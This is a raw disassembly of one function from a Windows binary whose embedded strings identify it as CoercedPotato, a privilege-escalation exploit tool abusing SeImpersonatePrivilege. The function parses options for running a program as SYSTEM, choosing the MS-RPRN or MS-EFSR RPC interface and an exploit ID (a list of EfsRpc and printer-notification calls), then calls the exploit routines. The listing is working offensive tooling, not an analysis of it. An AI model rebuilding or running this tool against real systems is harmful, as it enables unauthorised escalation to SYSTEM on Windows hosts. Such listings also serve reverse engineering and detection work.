Function at 0x140023e10
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x430
mov rax, qword [0x14004f028]
xor rax, rsp
mov qword [rsp + 0x420], rax
mov rdi, rdx
mov ebx, ecx
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140028350
mov rcx, rax
lea rdx, [0x140029c30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.__________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140028350
mov rcx, rax
lea rdx, [0x140029c30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140028350
mov rcx, rax
lea rdx, [0x140029c30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.______________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140028350
mov rcx, rax
lea rdx, [0x140029c30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140028350
mov rcx, rax
lea rdx, [0x140029c30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140028350
mov rcx, rax
lea rdx, [0x140029c30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140028350
mov rcx, rax
lea rdx, [0x140029c30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.____________________________________________Hack0ura__Prepouce
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140028350
mov rcx, rax
lea rdx, [0x140029c30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140028350
mov rcx, rax
lea rdx, [0x140029c30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x340
lea rcx, [rsp + 0xe0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor r13d, r13d
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
xor r8d, r8d
lea rdx, [0x1400358b3]
lea rcx, [rsp + 0x30]
call fcn.14002b270
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
lea r8d, [r13 + 0x7e]
lea rdx, str.CoercedPotato_is_an_automated_tool_for_privilege_escalation_exploit_using_SeImpersonatePrivilege_or_SeImpersonatePrimaryToken.
lea rcx, [rsp + 0x50]
call fcn.14002b270
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xe0]
call fcn.140010860
nop
cmp ebx, 1
jne 0x14002402b
lea rcx, str.Use___help_to_show_all_usefull_information._r_n
call fcn.140001550
lea rcx, str.____Exiting..._r_n
call fcn.140001550
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], r13
mov qword [rsp + 0xc8], 0xf
mov byte [rsp + 0xb0], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov r8d, 0x2b
lea rdx, str.Program_to_execute_as_SYSTEM__i.e._cmd.exe_
lea rcx, [rsp + 0x50]
call fcn.14002b270
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0xc
lea rdx, str._c___command
lea rcx, [rsp + 0x30]
call fcn.14002b270
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xe0]
call fcn.14002a2a0
mov byte [rax + 0x20], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], 0xf
mov byte [rsp + 0x90], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov r8d, 0x4e
lea rdx, str.Optionnal_interface_to_use__default_:_ALL___Possible_values_:_ms_rprn__ms_efsr
lea rcx, [rsp + 0x50]
call fcn.14002b270
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0xe
lea rdx, str._i___interface
lea rcx, [rsp + 0x30]
call fcn.14002b270
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xe0]
call fcn.14002a2a0
mov rsi, 0xffffffffffffffff
mov dword [rsp + 0x8c], esi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov r8d, 0x2aa
lea rdx, str.Optionnal_exploit_ID__Only_usuable_if_interface_is_defined___n____ms_rprn_:__n____0__RpcRemoteFindFirstPrinterChangeNotificationEx___n____1__RpcRemoteFindFirstPrinterChangeNotification___n____ms_efsr__n____0__EfsRpcOpenFileRaw___n____1__EfsRpcEncryptFileSrv___n____2__EfsRpcDecryptFileSrv___n____3__EfsRpcQueryUsersOnFile___n____4__EfsRpcQueryRecoveryAgents___n____5__EfsRpcRemoveUsersFromFile___n____6__EfsRpcAddUsersToFile___n____7__EfsRpcFileKeyInfo____NOT_WORKING_n____8__EfsRpcDuplicateEncryptionInfoFile___n____9__EfsRpcAddUsersToFileEx___n____10__EfsRpcFileKeyInfoEx____NOT_WORKING_n____11__EfsRpcGetEncryptedFileMetadata___n____12__EfsRpcEncryptFileExSrv___n____13__EfsRpcQueryProtectors___n
lea rcx, [rsp + 0x50]
call fcn.14002b270
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea r8d, [rsi + 0xf]
lea rdx, str._n___exploitId
lea rcx, [rsp + 0x30]
call fcn.14002b270
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x8c]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xe0]
call fcn.14002a490
mov byte [rsp + 0x88], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
lea r8d, [rsi + 0x52]
lea rdx, str.Force_all_RPC_functions_even_if_it_says_Exploit_worked___Default_value_:_false_
lea rcx, [rsp + 0x50]
call fcn.14002b270
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea r8d, [rsi + 0xb]
lea rdx, str._f___force
lea rcx, [rsp + 0x30]
call fcn.14002b270
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xe0]
call fcn.14002a680
mov byte [rsp + 0x89], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
lea r8d, [rsi + 0x68]
lea rdx, str.Set_wether_the_process_should_be_run_within_the_same_shell_or_open_a_new_window.__Default_value_:_true_
lea rcx, [rsp + 0x50]
call fcn.14002b270
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea r8d, [rsi + 0xe]
lea rdx, str.__interactive
lea rcx, [rsp + 0x30]
call fcn.14002b270
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x89]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xe0]
call fcn.14002a680
nop
mov r8, rdi
mov edx, ebx
lea rcx, [rsp + 0xe0]
call fcn.140012d90
nop
lea rdi, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 0x10
cmovae rdi, qword [rsp + 0xb0]
mov rbx, qword [rsp + 0xc0]
inc rbx
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.1400312c8
mov r14, rax
mov qword [rsp + 0xd0], r13
lea rcx, [rbx - 1]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xd0]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
mov qword [0x1400533d0], r14
movzx ecx, byte [rsp + 0x89]
mov dword [0x14004f044], ecx
mov r15, qword [rsp + 0xa0]
mov edi, dword [rsp + 0x8c]
test r15, r15
jne 0x1400244e0
cmp edi, 0xffffffff
je 0x1400243d5
mov edx, edi
lea rcx, [0x140037c48]
call fcn.140001550
lea rcx, str.Please_use_rpcInterface_parameter_before_defining_exploitId.__r_n
call fcn.140001550
lea rcx, str.____Exiting..._r_n
call fcn.140001550
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movzx ebx, byte [rsp + 0x88]
lea rcx, str.___RUNNING_ALL_KNOWN_EXPLOITS._r_n_n
call fcn.140001550
movzx r8d, bl
mov edx, esi
mov rcx, r14
call fcn.140023d40
test eax, eax
je 0x1400243ff
test bl, bl
je 0x14002440e
movzx r8d, bl
mov edx, esi
mov rcx, r14
call fcn.140023b50
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x140024451
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002444c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400245a8
call fcn.1400312c0
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], 0xf
mov byte [rsp + 0x90], 0
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x1400244b0
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400244ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024619
call fcn.1400312c0
mov qword [rsp + 0xc0], r13
mov qword [rsp + 0xc8], 0xf
mov byte [rsp + 0xb0], 0
lea rcx, [rsp + 0xe0]
call fcn.140010e50
xor eax, eax
jmp 0x14002464d
lea rcx, [rsp + 0x90]
mov rsi, qword [rsp + 0xa8]
cmp rsi, 0x10
setae r12b
mov rbx, qword [rsp + 0x90]
cmovae rcx, rbx
cmp r15, 7
jne 0x140024532
mov r8, r15
lea rdx, str.ms_rprn
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140024532
movzx r8d, byte [rsp + 0x88]
mov edx, edi
mov rcx, r14
call fcn.140023d40
jmp 0x14002456d
lea rcx, [rsp + 0x90]
test r12b, r12b
cmovne rcx, rbx
cmp r15, 7
jne 0x14002457d
mov r8, r15
lea rdx, str.ms_efsr
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14002457d
movzx r8d, byte [rsp + 0x88]
mov edx, edi
mov rcx, r14
call fcn.140023b50
mov rbx, qword [rsp + 0x90]
mov rsi, qword [rsp + 0xa8]
cmp rsi, 0x10
jb 0x1400245b7
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400245af
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400245af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400312c0
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], 0xf
mov byte [rsp + 0x90], 0
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x1400244b0
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400244ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400244ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rsp + 0x90]
call fcn.14000bc40
nop
lea rcx, [rsp + 0xb0]
call fcn.14000bc40
nop
lea rcx, [rsp + 0xe0]
call fcn.140010e50
mov eax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.140030a10
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret